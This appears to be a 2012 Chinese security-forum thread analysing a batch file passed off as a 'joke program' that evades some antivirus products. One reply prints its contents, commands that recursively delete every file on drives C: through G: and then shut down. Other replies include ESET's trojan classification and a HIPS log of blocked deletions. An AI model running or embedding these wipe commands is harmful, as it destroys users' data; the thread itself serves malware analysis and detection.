在网上发现一个玩笑程序，很强悍，暂过BD

显示全部楼层 · 发表于 2012-8-10 19:13:36

本帖最后由 3801187 于 2012-8-23 12:16 编辑

显示全部楼层 · 发表于 2012-8-10 19:14:43

过360，手动hips未测试，LZ是什么行为的呢

显示全部楼层 · 发表于 2012-8-10 19:15:49

会飞的猫发表于 2012-8-10 19:14
过360，手动hips未测试，LZ是什么行为的呢

我没有测，不敢呀

显示全部楼层 · 发表于 2012-8-10 19:17:59

kingsoft、ESS miss

显示全部楼层 · 发表于 2012-8-10 19:18:20

rmdir /s/q C:\
rmdir /s/q D:\
rmdir /s/q E:\
rmdir /s/q F:\
rmdir /s/q G:\
shutdown -s

显示全部楼层 · 发表于 2012-8-10 19:18:24

3801187 发表于 2012-8-10 19:15
我没有测，不敢呀

那LZ怎么知道是玩笑程序，等过一会我用hips测一下

显示全部楼层 · 发表于 2012-8-10 19:18:54

本帖最后由 humanlwj52 于 2012-8-10 20:21 编辑

To ESET.

Dear Depp,

Thank you for your submission.
The detection for this threat will be included in our next signature update.

Sddate.bat - BAT/Shutdown.NCN trojan

Regards,

ESET Malware Response Team

显示全部楼层 · 发表于 2012-8-10 19:19:13

会飞的猫发表于 2012-8-10 19:18
那LZ怎么知道是玩笑程序，等过一会我用hips测一下

我是看别人说的

显示全部楼层 · 发表于 2012-8-10 19:19:25

会飞的猫发表于 2012-8-10 19:18
那LZ怎么知道是玩笑程序，等过一会我用hips测一下

这还要测。。。改TXT就知道了。。。
随便写的批处理、、、

显示全部楼层 · 发表于 2012-8-10 19:20:26

2012-08-10 19:19:05 修改文件    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:(隐藏文件)C:\AUTOEXEC.BAT
触发规则:应用程序规则->CMD设置->%windir%\system32\cmd.exe->%SystemDrive%\AUTOEXEC.BAT

2012-08-10 19:19:06 删除文件    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\AUTOEXEC.BAT
触发规则:应用程序规则->CMD设置->%windir%\system32\cmd.exe->%SystemDrive%\AUTOEXEC.BAT

2012-08-10 19:19:06 修改文件    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:(隐藏文件)C:\AUTOEXEC.BAT
触发规则:应用程序规则->CMD设置->%windir%\system32\cmd.exe->%SystemDrive%\AUTOEXEC.BAT

2012-08-10 19:19:06 修改文件    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:(隐藏文件)C:\boot.ini
触发规则:应用程序规则->CMD设置->%windir%\system32\cmd.exe->C:\boot.ini

2012-08-10 19:19:06 删除文件    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\boot.ini
触发规则:应用程序规则->CMD设置->%windir%\system32\cmd.exe->C:\boot.ini

2012-08-10 19:19:06 修改文件    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:(隐藏文件)C:\boot.ini
触发规则:应用程序规则->CMD设置->%windir%\system32\cmd.exe->C:\boot.ini

2012-08-10 19:19:06 修改文件    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:(隐藏文件)C:\bootfont.bin
触发规则:应用程序规则->CMD设置->%windir%\system32\cmd.exe->C:\bootfont.bin

2012-08-10 19:19:06 删除文件    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\bootfont.bin
触发规则:应用程序规则->CMD设置->%windir%\system32\cmd.exe->C:\bootfont.bin

2012-08-10 19:19:06 修改文件    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:(隐藏文件)C:\bootfont.bin
触发规则:应用程序规则->CMD设置->%windir%\system32\cmd.exe->C:\bootfont.bin

2012-08-10 19:19:06 修改文件    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:(隐藏文件)C:\CONFIG.SYS
触发规则:应用程序规则->CMD设置->%windir%\system32\cmd.exe->C:\CONFIG.SYS

2012-08-10 19:19:06 删除文件    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\CONFIG.SYS
触发规则:应用程序规则->CMD设置->%windir%\system32\cmd.exe->C:\CONFIG.SYS

2012-08-10 19:19:06 修改文件    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:(隐藏文件)C:\CONFIG.SYS
触发规则:应用程序规则->CMD设置->%windir%\system32\cmd.exe->C:\CONFIG.SYS

2012-08-10 19:19:12 删除文件    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\Documents and Settings\Administrator\Application Data\Adobe\Flash Player\AFCache
触发规则:应用程序规则->CMD设置->%windir%\system32\cmd.exe->?:\Documents and Settings\*\Application Data\*

2012-08-10 19:19:15 删除文件    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\Documents and Settings\Administrator\Application Data\Adobe\Flash Player\AssetCache\QDR4XGWZ
触发规则:应用程序规则->CMD设置->%windir%\system32\cmd.exe->?:\Documents and Settings\*\Application Data\*

2012-08-10 19:19:17 删除文件    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\Documents and Settings\Administrator\Application Data\Adobe\Flash Player\AssetCache
触发规则:应用程序规则->CMD设置->%windir%\system32\cmd.exe->?:\Documents and Settings\*\Application Data\*

2012-08-10 19:19:19 删除文件    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\Documents and Settings\Administrator\Application Data\Adobe\Flash Player
触发规则:应用程序规则->CMD设置->%windir%\system32\cmd.exe->?:\Documents and Settings\*\Application Data\*

2012-08-10 19:19:21 删除文件    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\Documents and Settings\Administrator\Application Data\Adobe
触发规则:应用程序规则->CMD设置->%windir%\system32\cmd.exe->?:\Documents and Settings\*\Application Data\*

2012-08-10 19:19:23 删除文件    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\Documents and Settings\Administrator\Application Data\desktop.ini
触发规则:应用程序规则->CMD设置->%windir%\system32\cmd.exe->?:\Documents and Settings\*\Application Data\*

2012-08-10 19:19:25 修改文件    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:(隐藏文件)C:\Documents and Settings\Administrator\Application Data\desktop.ini
触发规则:应用程序规则->CMD设置->%windir%\system32\cmd.exe->%SystemDrive%\*

2012-08-10 19:19:28 删除文件    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\Documents and Settings\Administrator\Application Data\Identities\{0B9260BC-9664-4404-9876-9D404E49D049}
触发规则:应用程序规则->CMD设置->%windir%\system32\cmd.exe->?:\Documents and Settings\*\Application Data\*

2012-08-10 19:19:30 删除文件    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\Documents and Settings\Administrator\Application Data\Identities\{264ADD6E-CE42-4AD6-801E-2ECBE7C4856A}
触发规则:应用程序规则->CMD设置->%windir%\system32\cmd.exe->?:\Documents and Settings\*\Application Data\*

2012-08-10 19:19:32 删除文件    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\Documents and Settings\Administrator\Application Data\Identities\{72A83FE3-E796-4A97-B2DD-1151A33D4402}
触发规则:应用程序规则->CMD设置->%windir%\system32\cmd.exe->?:\Documents and Settings\*\Application Data\*

2012-08-10 19:19:34 删除文件    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\Documents and Settings\Administrator\Application Data\Identities\{C1F45325-0CE2-4260-A771-B8A4AC51BA79}
触发规则:应用程序规则->CMD设置->%windir%\system32\cmd.exe->?:\Documents and Settings\*\Application Data\*

2012-08-10 19:19:36 删除文件    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\Documents and Settings\Administrator\Application Data\Identities\{D0E56061-B854-4D20-9823-AC1233A8E3D8}
触发规则:应用程序规则->CMD设置->%windir%\system32\cmd.exe->?:\Documents and Settings\*\Application Data\*

2012-08-10 19:19:37 删除文件    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\Documents and Settings\Administrator\Application Data\Identities
触发规则:应用程序规则->CMD设置->%windir%\system32\cmd.exe->?:\Documents and Settings\*\Application Data\*

2012-08-10 19:19:39 删除文件    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\Documents and Settings\Administrator\Application Data\Kanbox Network\Kanbox\Application\Bin\msvcp90.dll_{0D9B216D-37AD-4203-A7F1-60C8AFCFD42D}.dll
触发规则:应用程序规则->CMD设置->%windir%\system32\cmd.exe->?:\Documents and Settings\*\Application Data\*

2012-08-10 19:19:42 删除文件    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\Documents and Settings\Administrator\Application Data\Kanbox Network\Kanbox\Application\Bin\msvcr90.dll_{0D9B216D-37AD-4203-A7F1-60C8AFCFD42D}.dll
触发规则:应用程序规则->CMD设置->%windir%\system32\cmd.exe->?:\Documents and Settings\*\Application Data\*

2012-08-10 19:19:44 删除文件    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\Documents and Settings\Administrator\Application Data\Kanbox Network\Kanbox\Application\Bin\rpt.dll_{0D9B216D-37AD-4203-A7F1-60C8AFCFD42D}.dll
触发规则:应用程序规则->CMD设置->%windir%\system32\cmd.exe->?:\Documents and Settings\*\Application Data\*

2012-08-10 19:19:46 删除文件    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\Documents and Settings\Administrator\Application Data\Kanbox Network\Kanbox\Application\Bin
触发规则:应用程序规则->CMD设置->%windir%\system32\cmd.exe->?:\Documents and Settings\*\Application Data\*

2012-08-10 19:19:47 删除文件    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\Documents and Settings\Administrator\Application Data\Kanbox Network\Kanbox\Application\ShellExt\SyncStateExt_{0D9B216D-37AD-4203-A7F1-60C8AFCFD42D}.dll
触发规则:应用程序规则->CMD设置->%windir%\system32\cmd.exe->?:\Documents and Settings\*\Application Data\*

2012-08-10 19:19:49 删除文件    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\Documents and Settings\Administrator\Application Data\Kanbox Network\Kanbox\Application\ShellExt
触发规则:应用程序规则->CMD设置->%windir%\system32\cmd.exe->?:\Documents and Settings\*\Application Data\*

2012-08-10 19:19:50 删除文件    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\Documents and Settings\Administrator\Application Data\Kanbox Network\Kanbox\Application
触发规则:应用程序规则->CMD设置->%windir%\system32\cmd.exe->?:\Documents and Settings\*\Application Data\*

2012-08-10 19:19:54 删除文件    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\Documents and Settings\Administrator\Application Data\Kanbox Network\Kanbox
触发规则:应用程序规则->CMD设置->%windir%\system32\cmd.exe->?:\Documents and Settings\*\Application Data\*

2012-08-10 19:19:55 删除文件    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\Documents and Settings\Administrator\Application Data\Kanbox Network
触发规则:应用程序规则->CMD设置->%windir%\system32\cmd.exe->?:\Documents and Settings\*\Application Data\*

2012-08-10 19:19:58 删除文件    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\Documents and Settings\Administrator\Application Data\Kingsoft\kvip
触发规则:应用程序规则->CMD设置->%windir%\system32\cmd.exe->?:\Documents and Settings\*\Application Data\*

2012-08-10 19:20:01 删除文件    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\Documents and Settings\Administrator\Application Data\Kingsoft\金山安全沙箱
触发规则:应用程序规则->CMD设置->%windir%\system32\cmd.exe->?:\Documents and Settings\*\Application Data\*

2012-08-10 19:20:03 删除文件    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\Documents and Settings\Administrator\Application Data\Kingsoft
触发规则:应用程序规则->CMD设置->%windir%\system32\cmd.exe->?:\Documents and Settings\*\Application Data\*

2012-08-10 19:20:06 删除文件    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\Documents and Settings\Administrator\Application Data\Macromedia\Flash Player\#SharedObjects\LZBWBC2A\a.tbcdn.cn\app\tbskip\lsoSaver.swf\g_lbs.sol
触发规则:应用程序规则->CMD设置->%windir%\system32\cmd.exe->?:\Documents and Settings\*\Application Data\*

2012-08-10 19:20:09 删除文件    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\Documents and Settings\Administrator\Application Data\Macromedia\Flash Player\#SharedObjects\LZBWBC2A\a.tbcdn.cn\app\tbskip\lsoSaver.swf\TB_recentViewedItems.sol
触发规则:应用程序规则->CMD设置->%windir%\system32\cmd.exe->?:\Documents and Settings\*\Application Data\*

2012-08-10 19:20:12 删除文件    操作:阻止
进程路径:C:\WINDOWS\system32\cmd.exe
文件路径:C:\Documents and Settings\Administrator\Application Data\Macromedia\Flash Player\#SharedObjects\LZBWBC2A\a.tbcdn.cn\app\tbskip\lsoSaver.swf
触发规则:应用程序规则->CMD设置->%windir%\system32\cmd.exe->?:\Documents and Settings\*\Application Data\*

[可疑文件] 在网上发现一个玩笑程序，很强悍，暂过BD

本帖子中包含更多资源

评分